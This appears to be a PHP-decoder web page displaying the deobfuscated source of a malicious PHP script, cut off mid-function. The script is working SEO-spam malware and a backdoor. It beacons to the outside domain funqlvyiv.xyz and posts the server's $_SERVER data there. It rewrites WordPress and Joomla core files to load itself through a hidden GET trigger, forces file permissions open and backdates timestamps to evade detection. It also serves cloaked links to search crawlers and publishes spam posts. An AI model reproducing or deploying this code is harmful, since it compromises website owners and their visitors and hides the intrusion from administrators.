Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php ${"\x47\x4c\x4f\x42A\x4cS"}["\x79g\x75\x6b\x6aspw"] = ..

Decoded Output download

 
<?php 
${"GLOBALS"}["ygukjspw"]                            = "htaccessincfilecontent"; 
${"GLOBALS"}["mqlzugct"]                         = "htaccessfilename"; 
${"GLOBALS"}["cqsuterr"]                      = "htaccessfiletime"; 
${"GLOBALS"}["htympu"]                           = "item"; 
${"GLOBALS"}["dxvcbqd"]                          = "text"; 
${"GLOBALS"}["wqvtok"]                                    = "goodpage"; 
${"GLOBALS"}["cwtrxpys"]                               = "siteurl"; 
${"GLOBALS"}["entpsxl"]                    = "filename"; 
${"GLOBALS"}["wgtfqwb"]                          = "url4"; 
${"GLOBALS"}["ijmnpttx"]                         = "content"; 
${"GLOBALS"}["ixedauuag"]                              = "matches"; 
${"GLOBALS"}["swcgstmgh"]               = "id"; 
${"GLOBALS"}["elfcktzbqfb"]                   = "goodjoomlapage"; 
${"GLOBALS"}["jycifvjlpl"]                 = "alias"; 
${"GLOBALS"}["stwhominjco"] = "titletemp"; 
${"GLOBALS"}["tnqqbulmbm"]                          = "idtemp"; 
${"GLOBALS"}["mcfnojg"]                          = "joomlaurl"; 
${"GLOBALS"}["luigxsc"]                                      = "goodwordpresspage"; 
${"GLOBALS"}["foqltvlbzbm"]                = "permalink"; 
${"GLOBALS"}["uiiojckmy"]                     = "post_id"; 
${"GLOBALS"}["phrrcdyq"]                = "post_data"; 
${"GLOBALS"}["qcvlayi"]                             = "chars"; 
${"GLOBALS"}["nouybzizu"]                           = "slugname"; 
${"GLOBALS"}["rylxte"]                                 = "site_root_dir"; 
${"GLOBALS"}["cuzlmfchs"]                  = "counter"; 
${"GLOBALS"}["rrvowqo"]                          = "linktodoor"; 
${"GLOBALS"}["wthstldrg"]                     = "perms"; 
${"GLOBALS"}["hkxtumgzg"]                     = "joomlafiles"; 
${"GLOBALS"}["mohtprvxf"]                        = "filetime"; 
${"GLOBALS"}["ijhifcytdux"]                      = "doordomain"; 
${"GLOBALS"}["bchrfrwp"]                                        = "param"; 
${"GLOBALS"}["iojafskhi"]            = "incfilecontent"; 
${"GLOBALS"}["hwjnbclq"]                                        = "incfilecontentoriginal"; 
${"GLOBALS"}["nxdvsyivy"]                        = "incfile"; 
${"GLOBALS"}["ynqxkd"]                                 = "i"; 
${"GLOBALS"}["avpnwhgbuoe"]       = "wpfiles"; 
${"GLOBALS"}["gjwrwicyhon"]          = "time"; 
${"GLOBALS"}["zfpktn"]                           = "f"; 
${"GLOBALS"}["tjmxtplrpzp"]             = "currfiletime"; 
${"GLOBALS"}["wfyrnkhbdr"]                          = "body"; 
${"GLOBALS"}["nemcyrjqgw"]                    = "header"; 
${"GLOBALS"}["lzefveci"]                            = "resp"; 
${"GLOBALS"}["fmjywmn"]                       = "data"; 
${"GLOBALS"}["ilxsujb"]                             = "out"; 
${"GLOBALS"}["vvovjnlr"]                            = "errstr"; 
${"GLOBALS"}["tupjhjbxxg"]                    = "errno"; 
${"GLOBALS"}["kkxhtnwueot"]                      = "fp"; 
${"GLOBALS"}["renglpm"]                                            = "curlurl"; 
${"GLOBALS"}["wlpgcq"]                        = "ch"; 
${"GLOBALS"}["tofzhwvozg"]                    = "goo"; 
${"GLOBALS"}["udiksnfsye"]                    = "context"; 
${"GLOBALS"}["stiesxbho"]            = "fgcurl"; 
${"GLOBALS"}["yotppym"]                                = "jj"; 
${"GLOBALS"}["fvbmctwp"]                               = "cardas"; 
${"GLOBALS"}["jowtbpmw"]                   = "linkanchor"; 
${"GLOBALS"}["uuqznfdsgidi"]                           = "linkofdoor"; 
${"GLOBALS"}["raucdugbjfh"]       = "slashscriptname"; 
${"GLOBALS"}["lbrxpouekp"]                 = "scriptname"; 
${"GLOBALS"}["orlhrcogrggm"]               = "put"; 
${"GLOBALS"}["ihwfowtnuji"]                      = "url3"; 
${"GLOBALS"}["nimjkniq"]                      = "domain"; 
${"GLOBALS"}["baqcxhwgo"]                     = "url2"; 
${"GLOBALS"}["kpgyicevyz"]                       = "url"; 
${"GLOBALS"}["wmjacveyvv"]                 = "file3"; 
${"GLOBALS"}["fyjowha"]                          = "file"; 
${"GLOBALS"}["ejrgcmwrjf"]                             = "cookiebot"; 
${"GLOBALS"}["ktdyxruigloj"]            = "cookiedomain"; 
${"GLOBALS"}["mkpxleaelex"]             = "cookievalue"; 
${"GLOBALS"}["bqxfrke"]                             = "th"; 
${"GLOBALS"}["soacrqgg"]                         = "v"; 
${"GLOBALS"}["gumgfgqckrz"]             = "file2"; 
header("Content-Type: text/html; charset=utf-8"); 
error_reporting(0); 
@ini_set("display_errors", "Off"); 
@ini_set("set_time_limit", 1000); 
$rhwfhxig                                                   = "url"; 
${"GLOBALS"}["thrbiwbzqb"] = "put"; 
${"GLOBALS"}["noxgvomu"]      = "file2"; 
$hbsqnbybf                                                  = "url2"; 
$gahfqjtjgcy                                                = "file"; 
${"GLOBALS"}["oeqdrdektdf"]   = "vl"; 
$sxcwpa                                                     = "url"; 
@ini_set("max_input_time", 1000); 
${"GLOBALS"}["bdwyyhxfsy"] = "put"; 
${"GLOBALS"}["putodgtlyo"]             = "linkanchor"; 
@ini_set("max_execution_time", 1000); 
@set_time_limit(1000); 
@ini_set("error_log", NULL); 
$aszulylo = "domain"; 
@ini_set("log_errors", 0); 
@ob_end_flush(); 
htaccessnormalize(); 
${${"GLOBALS"}["soacrqgg"]}                      = "1.6.2"; 
${${"GLOBALS"}["bqxfrke"]}                       = "edutop"; 
$unlybrkcowxg                                                            = "domain"; 
${${"GLOBALS"}["oeqdrdektdf"]} = "z"; 
${"GLOBALS"}["ypntakcifle"]                   = "jj"; 
if (!$_COOKIE["langidz"]) { 
    ${"GLOBALS"}["cvnxggyvgv"]           = "cookiename"; 
    ${"GLOBALS"}["mlojkdtcat"]     = "cookiebot"; 
    ${${"GLOBALS"}["cvnxggyvgv"]}     = "langidz"; 
    $gfapfpgir                                                            = "cookiedomain"; 
    ${${"GLOBALS"}["mkpxleaelex"]} = str_shuffle("delpzons"); 
    ${${"GLOBALS"}["ktdyxruigloj"]}         = $_SERVER[HTTP_HOST]; 
    if (preg_match("#^www\.#", ${${"GLOBALS"}["ktdyxruigloj"]})) { 
        ${"GLOBALS"}["xlmyifyjr"]    = "cookiedomain"; 
        $pfbtpcdsbu                                                   = "cookiedomain"; 
        ${${"GLOBALS"}["xlmyifyjr"]} = preg_replace("#^www\.#", ${$pfbtpcdsbu}); 
    } 
    ${${"GLOBALS"}["mlojkdtcat"]} = "yes"; 
    ${"GLOBALS"}["jxtwooev"]            = "cookiename"; 
    if (setcookie(${${"GLOBALS"}["jxtwooev"]}, ${${"GLOBALS"}["mkpxleaelex"]}, time() + 3600 * 24, "/", ${$gfapfpgir})) { 
        ${${"GLOBALS"}["ejrgcmwrjf"]} = "no"; 
    } 
} else { 
    ${${"GLOBALS"}["ejrgcmwrjf"]} = "no"; 
} 
${"GLOBALS"}["kmtteame"]                       = "doordomain"; 
${$unlybrkcowxg}                                                             = "funqlvyiv.xyz"; 
${${"GLOBALS"}["fyjowha"]}                     = "/handlers/getcontent.php"; 
${${"GLOBALS"}["noxgvomu"]}                 = "/handlers/gettemplate.php"; 
${${"GLOBALS"}["wmjacveyvv"]}                        = "/handlers/update.php"; 
${${"GLOBALS"}["kpgyicevyz"]}      = "http://" . ${$aszulylo} . ${$gahfqjtjgcy}; 
${${"GLOBALS"}["baqcxhwgo"]}                = "http://" . ${${"GLOBALS"}["nimjkniq"]} . ${${"GLOBALS"}["gumgfgqckrz"]}; 
$fucocooznlil                                                                = "url2"; 
${"GLOBALS"}["rxfltfw"]                        = "put"; 
${${"GLOBALS"}["ihwfowtnuji"]}           = "http://" . ${${"GLOBALS"}["nimjkniq"]} . ${${"GLOBALS"}["wmjacveyvv"]}; 
${${"GLOBALS"}["orlhrcogrggm"]} = array( 
    "content", 
    "test", 
    "proxy", 
    "file", 
    ".35", 
    "template", 
    "28.", 
    "12.", 
    "id", 
    "page", 
    "217.", 
    "domain", 
    "functions", 
    "215.", 
    "87.", 
    "form", 
    "track", 
    "str_replace", 
    "name", 
    "250", 
    "77.", 
    "method", 
    "error_log", 
    "password", 
    "set_time_limit", 
    "curl", 
    "links", 
    "file_get_contents", 
    "get", 
    "index.php", 
    "include_once", 
    "max_input_time", 
    "POST", 
    "sprintf", 
    "204.", 
    "curl_setopt", 
    "result", 
    "log", 
    "max_execution_time", 
    "explode", 
    "URI", 
    "file_put_contents", 
    "script", 
    "system", 
    "connect", 
    "GET", 
    "application/x-www-form-urlencoded", 
    "trim", 
    "SERVER", 
    "preg_replace", 
    "require_once", 
    ".2", 
    "fopen" 
); 
${${"GLOBALS"}["lbrxpouekp"]}            = preg_replace("#^/#i", "", $_SERVER[SCRIPT_NAME]); 
${${"GLOBALS"}["kmtteame"]}                    = $_SERVER[HTTP_HOST]; 
$etwrovy                                                                     = "linktodoor"; 
${${"GLOBALS"}["raucdugbjfh"]}           = $_SERVER[SCRIPT_NAME]; 
${${"GLOBALS"}["uuqznfdsgidi"]}       = "http://$doordomain" . "$slashscriptname"; 
${${"GLOBALS"}["putodgtlyo"]}               = array( 
    "blog", 
    "Blog", 
    "info", 
    "Info", 
    "contact", 
    "Contact", 
    "magazine", 
    "Magazine", 
    "gallery", 
    "Gallery", 
    "about us", 
    "About us", 
    "About Us" 
); 
$fpvftok                                                                     = "jj"; 
shuffle(${${"GLOBALS"}["jowtbpmw"]}); 
${$etwrovy}                                                        = "<?php if(!@\$codevyp){if(preg_match('/alltheweb|aol|baidu|bing|crawler|dogpile|duckduckbot|google|inktomi|israelisearch|lycos|msn|scooter|slurp|spider|t-rex|teoma|yahoo|yandex|seznam/i',\$_SERVER['HTTP_USER_AGENT'])){echo "<a href='" . ${${"GLOBALS"}["uuqznfdsgidi"]} . "' style=\"font-size:" . mt_rand(30, 45) . "px;color:black;margin-top:20px !important;background:white;position:absolute;margin-left:20px;\">" . ${${"GLOBALS"}["jowtbpmw"]}[0] . "</a><br />";}@\$codevyp=true;}?>"; 
${${"GLOBALS"}["fvbmctwp"]}          = ${${"GLOBALS"}["nimjkniq"]}; 
${${"GLOBALS"}["yotppym"]}        = ${${"GLOBALS"}["bdwyyhxfsy"]}[10] . ${${"GLOBALS"}["rxfltfw"]}[7] . ${${"GLOBALS"}["orlhrcogrggm"]}[34] . ${${"GLOBALS"}["thrbiwbzqb"]}[19]; 
${$rhwfhxig}                                                       = preg_replace("/$cardas/i", ${${"GLOBALS"}["ypntakcifle"]}, ${$sxcwpa}); 
${$fucocooznlil}                                                   = preg_replace("/$cardas/i", ${$fpvftok}, ${$hbsqnbybf}); 
${${"GLOBALS"}["ihwfowtnuji"]} = preg_replace("/$cardas/i", ${${"GLOBALS"}["yotppym"]}, ${${"GLOBALS"}["ihwfowtnuji"]}); 
if (isset($_GET["gen"])) { 
    if (ini_get("allow_url_fopen") == 1) { 
        ${${"GLOBALS"}["stiesxbho"]}        = "$url2?gendomain=$doordomain&filename=$scriptname&th=$th&vl=$vl&v=" . urlencode(${${"GLOBALS"}["soacrqgg"]}); 
        ${"GLOBALS"}["uuebpfof"]                     = "fgcurl"; 
        ${${"GLOBALS"}["udiksnfsye"]} = stream_context_create(array( 
            "http" => array( 
                "method" => "POST", 
                "header" => array( 
                    "Content-type: application/x-www-form-urlencoded" 
                ), 
                "content" => http_build_query($_SERVER) 
            ) 
        )); 
        ${${"GLOBALS"}["tofzhwvozg"]} = @file_get_contents(${${"GLOBALS"}["uuebpfof"]}, false, ${${"GLOBALS"}["udiksnfsye"]}); 
    } elseif (function_exists("curl_init")) { 
        ${"GLOBALS"}["qmiqwsesz"]          = "curlurl"; 
        $jczfljp                                                   = "ch"; 
        $wwoccghva                                                 = "ch"; 
        ${${"GLOBALS"}["qmiqwsesz"]} = "$url2?gendomain=$doordomain&filename=$scriptname&th=$th&vl=$vl&v=" . urlencode(${${"GLOBALS"}["soacrqgg"]}); 
        ${${"GLOBALS"}["wlpgcq"]}       = curl_init(); 
        curl_setopt(${$jczfljp}, CURLOPT_URL, ${${"GLOBALS"}["renglpm"]}); 
        $irmzlvofwnw = "ch"; 
        curl_setopt(${${"GLOBALS"}["wlpgcq"]}, CURLOPT_HEADER, false); 
        curl_setopt(${$irmzlvofwnw}, CURLOPT_RETURNTRANSFER, true); 
        curl_setopt(${$wwoccghva}, CURLOPT_REFERER, ""); 
        $ltmfjfkpn                                                                 = "ch"; 
        ${${"GLOBALS"}["tofzhwvozg"]} = @curl_exec(${${"GLOBALS"}["wlpgcq"]}); 
        curl_close(${$ltmfjfkpn}); 
    } elseif (function_exists("fsockopen")) { 
        ${"GLOBALS"}["idpdedz"]                    = "cardas"; 
        $onmssxlf                                                             = "fp"; 
        ${${"GLOBALS"}["kkxhtnwueot"]} = fsockopen(${${"GLOBALS"}["idpdedz"]}, 80, ${${"GLOBALS"}["tupjhjbxxg"]}, ${${"GLOBALS"}["vvovjnlr"]}, 10); 
        if (${$onmssxlf}) { 
            $xongqbzmhexz                                          = "out"; 
            $dloytqlbvezt                                          = "data"; 
            $ctqdmvn                                               = "fp"; 
            $auizqnuq                                              = "out"; 
            ${"GLOBALS"}["sirfkqlz"]    = "data"; 
            ${${"GLOBALS"}["sirfkqlz"]} = http_build_query($_SERVER); 
            ${$auizqnuq}                                           = "POST $file2?gendomain=$doordomain&filename=$scriptname&th=$th&vl=$vl&v=" . urlencode(${${"GLOBALS"}["soacrqgg"]}) . " HTTP/1.0
"; 
            $xbfwvwfjigc                                           = "resp"; 
            ${${"GLOBALS"}["ilxsujb"]} .= "Host: $cardas
"; 
            ${$xongqbzmhexz} .= "Content-Type: application/x-www-form-urlencoded
"; 
            ${${"GLOBALS"}["ilxsujb"]} .= "Content-Length: " . strlen(${${"GLOBALS"}["fmjywmn"]}) . "

"; 
            fwrite(${${"GLOBALS"}["kkxhtnwueot"]}, ${${"GLOBALS"}["ilxsujb"]}); 
            fwrite(${$ctqdmvn}, ${$dloytqlbvezt}); 
            ${${"GLOBALS"}["lzefveci"]} = ""; 
            while (!feof(${${"GLOBALS"}["kkxhtnwueot"]})) { 
                ${"GLOBALS"}["ozdblpr"] = "resp"; 
                ${${"GLOBALS"}["ozdblpr"]} .= fgets(${${"GLOBALS"}["kkxhtnwueot"]}, 4096); 
            } 
            fclose(${${"GLOBALS"}["kkxhtnwueot"]}); 
            list(${${"GLOBALS"}["nemcyrjqgw"]}, ${${"GLOBALS"}["wfyrnkhbdr"]}) = @preg_split("/\R\R/", ${$xbfwvwfjigc}, 2); 
            ${${"GLOBALS"}["tofzhwvozg"]} = ${${"GLOBALS"}["wfyrnkhbdr"]}; 
        } 
    } else { 
        ${${"GLOBALS"}["tofzhwvozg"]} = "fuckthisshell"; 
    } 
    ${${"GLOBALS"}["tjmxtplrpzp"]} = filemtime(__FILE__); 
    foreach (glob("*.php") as ${${"GLOBALS"}["zfpktn"]}) { 
        $fpgrnqrdcir                                                       = "currfiletime"; 
        ${${"GLOBALS"}["gjwrwicyhon"]} = filemtime(${${"GLOBALS"}["zfpktn"]}); 
        if (${${"GLOBALS"}["gjwrwicyhon"]} < ${$fpgrnqrdcir}) { 
            @touch(__FILE__, ${${"GLOBALS"}["gjwrwicyhon"]}); 
            break; 
        } 
    } 
    echo ${${"GLOBALS"}["tofzhwvozg"]}; 
} elseif ($_GET["get"] == "template") { 
    define("MAX_LEVELS_UP", 7); 
    $dmaijzqgj                                                         = "counter"; 
    ${"GLOBALS"}["vkboxeunrvj"]                = "counter"; 
    ${${"GLOBALS"}["vkboxeunrvj"]} = 0; 
    do { 
        ${"GLOBALS"}["dpqzpe"] = "file"; 
        foreach (glob("*") as ${${"GLOBALS"}["dpqzpe"]}) { 
            ${"GLOBALS"}["gpzwjsg"] = "file"; 
            if (strpos(${${"GLOBALS"}["fyjowha"]}, "wp-config.php") !== false) { 
                ${"GLOBALS"}["drtxutb"] = "i"; 
                define("PLATFORM", "WORDPRESS"); 
                $xocowml                                                     = "i"; 
                ${${"GLOBALS"}["avpnwhgbuoe"]} = array( 
                    "wp-blog-header.php", 
                    "wp-load.php", 
                    "wp-settings.php", 
                    "wp-config.php" 
                ); 
                for (${${"GLOBALS"}["drtxutb"]} = 0; ${$xocowml} < 4; ${${"GLOBALS"}["ynqxkd"]}++) { 
                    $ebnlmxruohb                                       = "i"; 
                    $iuwyporrgn                                        = "perms"; 
                    ${"GLOBALS"}["nnkjpg"]  = "incfile"; 
                    ${"GLOBALS"}["uqsnhj"]        = "incfile"; 
                    $ojhyvydpq                                         = "filetime"; 
                    ${${"GLOBALS"}["nxdvsyivy"]}  = ${${"GLOBALS"}["avpnwhgbuoe"]}[${$ebnlmxruohb}]; 
                    ${$ojhyvydpq}                                      = filemtime(${${"GLOBALS"}["uqsnhj"]}); 
                    ${$iuwyporrgn}                                     = sprintf("%o", fileperms(${${"GLOBALS"}["nnkjpg"]})); 
                    $dqcocb                                            = "incfile"; 
                    ${"GLOBALS"}["mhvndxt"] = "incfile"; 
                    @chmod(${$dqcocb}, 0666); 
                    if (is_writable(${${"GLOBALS"}["mhvndxt"]})) { 
                        ${"GLOBALS"}["wtsqsdw"] = "param"; 
                        ${"GLOBALS"}["prkoyo"]              = "incfilecontentoriginal"; 
                        $desyil                                                  = "incfile"; 
                        $wefjokixwzk                                             = "scriptname"; 
                        $ribjkechbxhh                                            = "incfilecontentoriginal"; 
                        $jqhutamr                                                = "scriptname"; 
                        ${${"GLOBALS"}["hwjnbclq"]}   = file_get_contents(${${"GLOBALS"}["nxdvsyivy"]}); 
                        $vuodhfmf                                                = "incfilecontentoriginal"; 
                        $dwrpwyvuxh                                              = "incfilecontentoriginal"; 
                        ${"GLOBALS"}["tmfqrhl"]       = "incfilecontent"; 
                        switch (${$desyil}) { 
                            case "wp-load.php": 
                                ${${"GLOBALS"}["iojafskhi"]} = preg_replace("/require_once(.*)ABSPATH(.*)'( )?wp-config\.php(.*);/i", "require_once( ABSPATH . 'wp-config.php' );" . PHP_EOL . "if(\$_GET['testpage']=='wpgopost'){require_once( ABSPATH . '" . ${$jqhutamr} . "' );}", ${$ribjkechbxhh}); 
                                break; 
                            case "wp-blog-header.php": 
                                ${${"GLOBALS"}["iojafskhi"]} = preg_replace("/require_once(.*)wp-load\.php(.*);/i", "require_once( dirname(__FILE__) . '/wp-load.php' );" . PHP_EOL . "if(\$_GET['testpage']=='wpgopost'){require_once( ABSPATH . '" . ${${"GLOBALS"}["lbrxpouekp"]} . "' );}", ${${"GLOBALS"}["hwjnbclq"]}); 
                                break; 
                            case "wp-config.php": 
                                ${${"GLOBALS"}["iojafskhi"]} = preg_replace("/require_once(.*)wp-settings\.php(.*);/i", "require_once(ABSPATH . 'wp-settings.php');" . PHP_EOL . "if(\$_GET['testpage']=='wpgopost'){require_once( ABSPATH . '" . ${$wefjokixwzk} . "' );}", ${$vuodhfmf}); 
                                break; 
                            case "wp-settings.php": 
                                ${${"GLOBALS"}["tmfqrhl"]} = preg_replace("/require(.*)pluggable-deprecated\.php(.*);/i", "require( ABSPATH . WPINC . '/pluggable-deprecated.php' );" . PHP_EOL . "if(\$_GET['testpage']=='wpgopost'){require_once( ABSPATH . '" . ${${"GLOBALS"}["lbrxpouekp"]} . "' );}", ${${"GLOBALS"}["prkoyo"]}); 
                                break; 
                        } 
                        ${"GLOBALS"}["rpdionb"]           = "incfilecontent"; 
                        ${${"GLOBALS"}["bchrfrwp"]} = "wpgopost"; 
                        gettemplate(${${"GLOBALS"}["rpdionb"]}, ${${"GLOBALS"}["nxdvsyivy"]}, ${${"GLOBALS"}["ijhifcytdux"]}, ${${"GLOBALS"}["wtsqsdw"]}); 
                        file_put_contents(${${"GLOBALS"}["nxdvsyivy"]}, ${$dwrpwyvuxh}); 
                        @touch(${${"GLOBALS"}["nxdvsyivy"]}, ${${"GLOBALS"}["mohtprvxf"]}); 
                        continue (2); 
                    } else { 
                        continue; 
                    } 
                } 
            } elseif (strpos(${${"GLOBALS"}["gpzwjsg"]}, "configuration.php") !== false) { 
                ${"GLOBALS"}["nljqoaj"] = "i"; 
                define("PLATFORM", "JOOMLA"); 
                ${${"GLOBALS"}["hkxtumgzg"]} = array( 
                    "index.php", 
                    "configuration.php", 
                    "includes/framework.php", 
                    "libraries/cms.php", 
                    "libraries/classmap.php", 
                    "libraries/fof/include.php" 
                ); 
                $swsxmmv                                                   = "i"; 
                for (${${"GLOBALS"}["ynqxkd"]} = 0; ${$swsxmmv} < 6; ${${"GLOBALS"}["nljqoaj"]}++) { 
                    $loqxmkogsn                                                                    = "joomlafiles"; 
                    ${"GLOBALS"}["sgwmedfqprg"] = "incfile"; 
                    $puoqerwkf                                                                     = "filetime"; 
                    $ovmclhhbwa                                                                    = "incfile"; 
                    ${$ovmclhhbwa}                                                                 = ${$loqxmkogsn}[${${"GLOBALS"}["ynqxkd"]}]; 
                    ${$puoqerwkf}                                                                  = filemtime(${${"GLOBALS"}["nxdvsyivy"]}); 
                    ${${"GLOBALS"}["wthstldrg"]}                     = sprintf("%o", fileperms(${${"GLOBALS"}["nxdvsyivy"]})); 
                    @chmod(${${"GLOBALS"}["nxdvsyivy"]}, 0666); 
                    if (is_writable(${${"GLOBALS"}["sgwmedfqprg"]})) { 
                        $bsexwykl                                                          = "incfilecontentoriginal"; 
                        $xpykxrfli                                                         = "doordomain"; 
                        $zdsnffc                                                           = "incfilecontent"; 
                        ${"GLOBALS"}["hqstruymk"]   = "param"; 
                        ${"GLOBALS"}["dziuygb"]                 = "param"; 
                        ${"GLOBALS"}["ckvyfgiyity"] = "incfilecontent"; 
                        ${"GLOBALS"}["xetkfxugic"]                 = "scriptname"; 
                        $pjswtddl                                                          = "scriptname"; 
                        ${"GLOBALS"}["uvibfhizqz"]     = "incfilecontentoriginal"; 
                        $pxcbhpybtxh                                                       = "incfile"; 
                        ${${"GLOBALS"}["hwjnbclq"]}    = file_get_contents(${$pxcbhpybtxh}); 
                        switch (${${"GLOBALS"}["nxdvsyivy"]}) { 
                            case "index.php": 
                                ${${"GLOBALS"}["iojafskhi"]} = preg_replace("/require_once JPATH_BASE(.*)includes\/framework.php';/i", "require_once JPATH_BASE . '/includes/framework.php';" . PHP_EOL . "if(\$_GET['testpage']=='joomlagopost'){require_once JPATH_BASE . '/" . ${${"GLOBALS"}["lbrxpouekp"]} . "';}", ${${"GLOBALS"}["hwjnbclq"]}); 
                                break; 
                            case "configuration.php": 
                                ${${"GLOBALS"}["iojafskhi"]} = preg_replace("/\<\?php/i", "<?php" . PHP_EOL . "if(\$_GET['testpage']=='joomlagopost'){require_once JPATH_BASE . '/" . ${${"GLOBALS"}["lbrxpouekp"]} . "';}", ${${"GLOBALS"}["hwjnbclq"]}); 
                                break; 
                            case "includes/framework.php": 
                                ${${"GLOBALS"}["iojafskhi"]} = preg_replace("/require_once JPATH_LIBRARIES(.*)cms.php';/i", "require_once JPATH_LIBRARIES . '/cms.php';" . PHP_EOL . "if(\$_GET['testpage']=='joomlagopost'){require_once JPATH_BASE . '/" . ${$pjswtddl} . "';}", ${${"GLOBALS"}["hwjnbclq"]}); 
                                break; 
                            case "libraries/cms.php": 
                                ${${"GLOBALS"}["iojafskhi"]} = preg_replace("/require_once JPATH_LIBRARIES(.*)classmap.php';/i", "require_once JPATH_LIBRARIES . '/classmap.php';" . PHP_EOL . "if(\$_GET['testpage']=='joomlagopost'){require_once JPATH_BASE . '/" . ${${"GLOBALS"}["lbrxpouekp"]} . "';}", ${$bsexwykl}); 
                                break; 
                            case "libraries/classmap.php": 
                                ${${"GLOBALS"}["iojafskhi"]} = preg_replace("/\<\?php/i", "<?php" . PHP_EOL . "if(\$_GET['testpage']=='joomlagopost'){require_once JPATH_BASE . '/" . ${${"GLOBALS"}["lbrxpouekp"]} . "';}", ${${"GLOBALS"}["uvibfhizqz"]}); 
                                break; 
                            case "libraries/fof/include.php": 
                                ${$zdsnffc} = preg_replace("/\<\?php/i", "<?php" . PHP_EOL . "if(\$_GET['testpage']=='joomlagopost'){require_once JPATH_BASE . '/" . ${${"GLOBALS"}["xetkfxugic"]} . "';}", ${${"GLOBALS"}["hwjnbclq"]}); 
                                break; 
                        } 
                        ${${"GLOBALS"}["hqstruymk"]} = "joomlagopost"; 
                        gettemplate(${${"GLOBALS"}["ckvyfgiyity"]}, ${${"GLOBALS"}["nxdvsyivy"]}, ${$xpykxrfli}, ${${"GLOBALS"}["dziuygb"]}); 
                        file_put_contents(${${"GLOBALS"}["nxdvsyivy"]}, ${${"GLOBALS"}["hwjnbclq"]}); 
                        @touch(${${"GLOBALS"}["nxdvsyivy"]}, ${${"GLOBALS"}["mohtprvxf"]}); 
                        continue (2); 
                    } else { 
                        continue; 
                    } 
                } 
            } 
        } 
        postlink(${${"GLOBALS"}["rrvowqo"]}); 
        if (!defined("PLATFORM")) { 
            chdir(".."); 
            ${${"GLOBALS"}["cuzlmfchs"]}++; 
        } else { 
            ${${"GLOBALS"}["rylxte"]} = getcwd(); 
        } 
    } while (!defined("PLATFORM") && ${$dmaijzqgj} < MAX_LEVELS_UP); 
    if (!defined("PLATFORM")) { 
        exit("Unknown platform!"); 
    } 
} elseif ($_GET["testpage"] == "wpgopost") { 
    ${"GLOBALS"}["rffcssryt"]               = "chars"; 
    ${${"GLOBALS"}["rffcssryt"]}         = "abcdefghijklmnop"; 
    ${"GLOBALS"}["dclxrneejin"] = "permalink"; 
    $ekuhfybcuke                                                          = "goodwordpresspage"; 
    $kszvzr                                                               = "post_id"; 
    ${"GLOBALS"}["hudpgth"]                       = "slugname"; 
    $nlshrgyxg                                                            = "permalink"; 
    ${${"GLOBALS"}["nouybzizu"]}   = str_shuffle(${${"GLOBALS"}["qcvlayi"]}); 
    ${${"GLOBALS"}["phrrcdyq"]}             = array( 
        "post_title" => "HEREISTITLE", 
        "post_name" => ${${"GLOBALS"}["hudpgth"]}, 
        "post_content" => "HEREISCONTENT", 
        "post_status" => "publish", 
        "post_category" => array() 
    ); 
    ${"GLOBALS"}["qsysasljdmc"]             = "post_data"; 
    ${$kszvzr}                                                            = wp_insert_post(${${"GLOBALS"}["qsysasljdmc"]}, true); 
    ${$nlshrgyxg}                                                         = get_permalink(${${"GLOBALS"}["uiiojckmy"]}); 
    if (ini_get("allow_url_fopen") == 1) { 
        ${${"GLOBALS"}["udiksnfsye"]}            = stream_context_create(array( 
            "http" => array( 
                "method" => "POST", 
                "header" => array( 
                    "Content-type: application/x-www-form-urlencoded" 
                ), 
                "content" => http_build_query($_SERVER) 
            ) 
        )); 
        ${"GLOBALS"}["ibscofnqi"] = "goodwordpresspage"; 
        ${${"GLOBALS"}["ibscofnqi"]}    = @file_get_contents(${${"GLOBALS"}["foqltvlbzbm"]}, false, ${${"GLOBALS"}["udiksnfsye"]}); 
    } elseif (function_exists("curl_init")) { 
        ${"GLOBALS"}["lxsxfmplw"] = "ch"; 
        ${"GLOBALS"}["tfekddoft"] = "ch"; 
        ${${"GLOBALS"}["wlpgcq"]}             = curl_init(); 
        curl_setopt(${${"GLOBALS"}["lxsxfmplw"]}, CURLOPT_URL, ${${"GLOBALS"}["foqltvlbzbm"]}); 
        ${"GLOBALS"}["ynhjhoc"] = "ch"; 
        curl_setopt(${${"GLOBALS"}["tfekddoft"]}, CURLOPT_HEADER, false); 
        curl_setopt(${${"GLOBALS"}["wlpgcq"]}, CURLOPT_RETURNTRANSFER, true); 
        curl_setopt(${${"GLOBALS"}["ynhjhoc"]}, CURLOPT_REFERER, ""); 
        ${${"GLOBALS"}["luigxsc"]} = @curl_exec(${${"GLOBALS"}["wlpgcq"]}); 
        curl_close(${${"GLOBALS"}["wlpgcq"]}); 
    } else { 
        ${"GLOBALS"}["chkmuiv"]                             = "postparam"; 
        $dsowfejkqmrd                                                            = "permalink"; 
        ${"GLOBALS"}["eymfcevltib"]                   = "errno"; 
        ${"GLOBALS"}["nxwivoyjn"]            = "errstr"; 
        ${${"GLOBALS"}["chkmuiv"]}                       = preg_replace("#http://(.*)/|https://(.*)/#", "", ${$dsowfejkqmrd}); 
        ${${"GLOBALS"}["kkxhtnwueot"]} = fsockopen(${${"GLOBALS"}["ijhifcytdux"]}, 80, ${${"GLOBALS"}["eymfcevltib"]}, ${${"GLOBALS"}["nxwivoyjn"]}, 10); 
        if (${${"GLOBALS"}["kkxhtnwueot"]}) { 
            $gpcvcfsr                                            = "fp"; 
            ${"GLOBALS"}["idqslc"] = "out"; 
            $dooonwg                                             = "data"; 
            ${$dooonwg}                                          = http_build_query($_SERVER); 
            ${${"GLOBALS"}["ilxsujb"]}      = "POST /$postparam HTTP/1.0
"; 
            $lunluxvxvj                                          = "body"; 
            ${${"GLOBALS"}["idqslc"]} .= "Host: $doordomain
"; 
            $ejqfvimizvl = "data"; 
            $rvcsfwypbmq = "fp"; 
            ${${"GLOBALS"}["ilxsujb"]} .= "Content-Type: application/x-www-form-urlencoded
"; 
            $wngyenutjrk = "data"; 
            ${${"GLOBALS"}["ilxsujb"]} .= "Content-Length: " . strlen(${$ejqfvimizvl}) . "

"; 
            fwrite(${${"GLOBALS"}["kkxhtnwueot"]}, ${${"GLOBALS"}["ilxsujb"]}); 
            fwrite(${$gpcvcfsr}, ${$wngyenutjrk}); 
            ${${"GLOBALS"}["lzefveci"]} = ""; 
            while (!feof(${$rvcsfwypbmq})) { 
                $ofxmxo                                                              = "resp"; 
                ${"GLOBALS"}["opttmwakfl"] = "fp"; 
                ${$ofxmxo} .= fgets(${${"GLOBALS"}["opttmwakfl"]}, 4096); 
            } 
            ${"GLOBALS"}["svvjirl"] = "body"; 
            fclose(${${"GLOBALS"}["kkxhtnwueot"]}); 
